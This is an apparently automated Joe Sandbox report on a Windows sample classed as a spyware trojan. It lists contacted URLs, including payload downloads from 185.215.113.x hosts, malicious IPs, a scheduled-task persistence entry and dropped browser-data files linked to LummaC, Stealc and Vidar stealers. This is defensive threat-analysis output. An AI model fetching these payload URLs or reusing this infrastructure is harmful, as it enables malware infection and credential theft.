https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	uLkHEqZ3u3.exe, 00000000.00000003.2435354753.00000000014D7000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2435131832.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dllN	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16:80/off/def.exeEM	uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/ts	uLkHEqZ3u3.exe, 00000000.00000003.2358880604.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335487453.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.5.dr	false	high
https://store.steampowered.com/about/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll7q	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/my/wishlist/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bbuseruploads.s3.amazonaws.com/1	skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll16	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001516000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://help.steampowered.com/en/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/Y	uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/4	NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/O	uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	false	high
https://lev-tolstoi.com/apim	uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://store.steampowered.com/subscriber_agreement/	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.206	play.google.com	United States	15169	GOOGLEUS	false
172.217.17.46	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.166.143.48	bitbucket.org	Germany	16509	AMAZON-02US	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
16.182.37.145	s3-w.us-east-1.amazonaws.com	United States	unknown	unknown	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579637
Start date and time:	2024-12-23 06:52:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uLkHEqZ3u3.exe renamed because original name is a hash value
Original Sample Name:	ddf07b20341889b8cabb9ea953370955.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@48/60@19/13
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 23.32.238.217, 172.217.21.35, 64.233.161.84, 142.250.181.142, 142.250.181.99, 216.58.208.234, 142.250.181.138, 142.250.181.42, 172.217.19.234, 172.217.19.170, 142.250.181.74, 172.217.21.42, 142.250.181.106, 172.217.19.202, 172.217.17.74, 172.217.17.42, 172.217.19.10, 142.250.181.10, 13.107.246.63, 20.109.210.53, 184.30.17.174
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target NTJ5FCNZGEJS945U0MUPLHRT.exe, PID 2224 because there are no executed function
Execution Graph export aborted for target uLkHEqZ3u3.exe, PID 5584 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: uLkHEqZ3u3.exe

Simulations

Behavior and APIs

Time	Type	Description
00:53:10	API Interceptor	46x Sleep call for process: uLkHEqZ3u3.exe modified
00:54:16	API Interceptor	227x Sleep call for process: NTJ5FCNZGEJS945U0MUPLHRT.exe modified
00:55:00	API Interceptor	120x Sleep call for process: skotes.exe modified
06:54:43	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bitbucket.org	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	185.166.143.48
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	185.166.143.49
	credit.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	185.166.143.48
	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	185.166.143.48
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse	185.166.143.50
	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	185.166.143.48
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse	185.166.143.50
s3-w.us-east-1.amazonaws.com	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	52.216.41.233
	https://cv01zl.s3.amazonaws.com/index.html?AWSAccessKeyId=AKIAWPPO57XS4BTHJAEO&Signature=bBChlGCf3qnCt%2B4WchKJjXtb09k%3D&Expires=1734874865#stewart.thomas@cambridgeshire.gov.uk	Get hash	malicious	Fake Captcha	Browse	52.217.128.241
	https://ho8d1o.s3.amazonaws.com/index.html?AWSAccessKeyId=AKIAWPPO57XS4BTHJAEO&Signature=h4n%2BY6bT0YHF44DbJkmJeHwDnn0%3D&Expires=1734860434#mandy.pullen@peterborough.gov.uk	Get hash	malicious	Fake Captcha	Browse	52.216.142.68
	https://preview.micrasoft-office365.com/f5c275dd184cbe62?l=6	Get hash	malicious	Unknown	Browse	54.231.135.57
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	54.231.224.185
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	52.217.32.148
	https://i.donotreply.biz/XWTZMVjBsbS9FS1Z2NzBoRzFZMy83RkoxVmlXaWlxaHo3VWFucmtuUGw1enh1ZWNEWVVSRmU5SURkU2psUnlGWUVLSzJtc3hJMVRZeXdZQTdKTVMwOTIySXc0dXRmSmkrKzVTSFFkRTlsZ0sycWdFdnhVY3BJNGx5ZnRmWTFhc0tuTTN1bVNUeUdFYkgrRW9rVllXdnIvNEE4aUgwNlR0R291UUxXUmY2L1JsVnZyNmMvbVpoUGJac04xckVKQlBXLS1PZFpzV3ByWmxpaEJybUhrLS1uMXVPRk5IWXlyNFBPNklpRkk0NTB3PT0=?cid=2330206445	Get hash	malicious	KnowBe4	Browse	3.5.25.98
	http://www.kukaj-to.chat/sedo	Get hash	malicious	Unknown	Browse	3.5.27.174
	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	3.5.31.118
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse	3.5.28.132
steamcommunity.com	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	uZO96rXyWt.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	WonderHack.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	23.55.153.106
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
CLOUDFLARENETUS	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	162.159.138.232
	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.86.72
	uZO96rXyWt.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	fKdiT1D1dk.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.16.249.249
	fKdiT1D1dk.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.16.248.249
	https://clicks.icims.com/f/a/5aA63l6Vdy8mmO6SfnFRFQ~~/AAIB5gA~/RgRpSzdjP0SjaHR0cHM6Ly9sb2dpbi5pY2ltcy5jb20vdS9yZXNldC12ZXJpZnk_dGlja2V0PVYzbldUZVAzTUxqc0hwVzlXOFlZbFhxamh5SFJZR0tHI2NsaWVudElkPUtKQTk1RHhIT1BOTzU2VWFOUmRSWTU3cHpuNkNNSGNtJmNsaWVudE5hbWU9QXBwbGljYW50IFRyYWNraW5nJmNhbGxiYWNrVXJsPVcDc3BjQgpnZWOyaGeuoGU9UhltaWthLnlhbWFndWNoaUBoYXlzLmNvLmpwWAQAABLw	Get hash	malicious	Unknown	Browse	162.247.243.29
	http://217.28.130.10/8265/568747470733a2f2f6d61696c2d6864656c2e6c7664642e696e666f2f3f656d61696c3d62722e73756e67406864656c2e636f2e6b72	Get hash	malicious	Unknown	Browse	172.67.191.167
AMAZON-02US	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	mips.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	108.139.47.92
	https://clicks.icims.com/f/a/5aA63l6Vdy8mmO6SfnFRFQ~~/AAIB5gA~/RgRpSzdjP0SjaHR0cHM6Ly9sb2dpbi5pY2ltcy5jb20vdS9yZXNldC12ZXJpZnk_dGlja2V0PVYzbldUZVAzTUxqc0hwVzlXOFlZbFhxamh5SFJZR0tHI2NsaWVudElkPUtKQTk1RHhIT1BOTzU2VWFOUmRSWTU3cHpuNkNNSGNtJmNsaWVudE5hbWU9QXBwbGljYW50IFRyYWNraW5nJmNhbGxiYWNrVXJsPVcDc3BjQgpnZWOyaGeuoGU9UhltaWthLnlhbWFndWNoaUBoYXlzLmNvLmpwWAQAABLw	Get hash	malicious	Unknown	Browse	65.9.112.70
	https://staging.effimate.toyo.ai-powered-services.com/	Get hash	malicious	Unknown	Browse	108.158.71.175
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	64.252.106.176
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	54.122.130.248
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	54.96.126.18
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	13.247.83.253
	hidakibest.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	20.198.119.84
	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	20.198.119.84
	tg.exe	Get hash	malicious	Babadeda	Browse	20.198.119.84
	tg.exe	Get hash	malicious	Babadeda	Browse	20.198.119.84
	setup.exe	Get hash	malicious	Babadeda	Browse	20.198.119.84
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.198.119.84
	medicalanalysispro.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.198.119.84
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	20.198.119.84
	Support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	NOTIFICATION_OF_DEPENDANTS_1.vbs	Get hash	malicious	Unknown	Browse	20.198.119.84
a0e9f5d64349fb13191bc781f81f42e1	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	uZO96rXyWt.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Echelon.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86 23.55.153.106
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	bas.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Wine.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	104.21.66.86 23.55.153.106
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
37f463bf4616ecd445d4a1937da06e19	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.166.143.48 16.182.37.145
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	185.166.143.48 16.182.37.145
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	185.166.143.48 16.182.37.145
	setup.msi	Get hash	malicious	Unknown	Browse	185.166.143.48 16.182.37.145
	Setup.exe	Get hash	malicious	Unknown	Browse	185.166.143.48 16.182.37.145
	Setup.exe	Get hash	malicious	Unknown	Browse	185.166.143.48 16.182.37.145
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	185.166.143.48 16.182.37.145
	installer.msi	Get hash	malicious	Unknown	Browse	185.166.143.48 16.182.37.145
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	185.166.143.48 16.182.37.145
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.166.143.48 16.182.37.145

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	FnTSHWLNWB.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKKECFBGIIIEBGDGDAKJKKKEB

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKJEGCFBGDHJJJJJKJEC

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKJDGCG

Download File

Process:	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
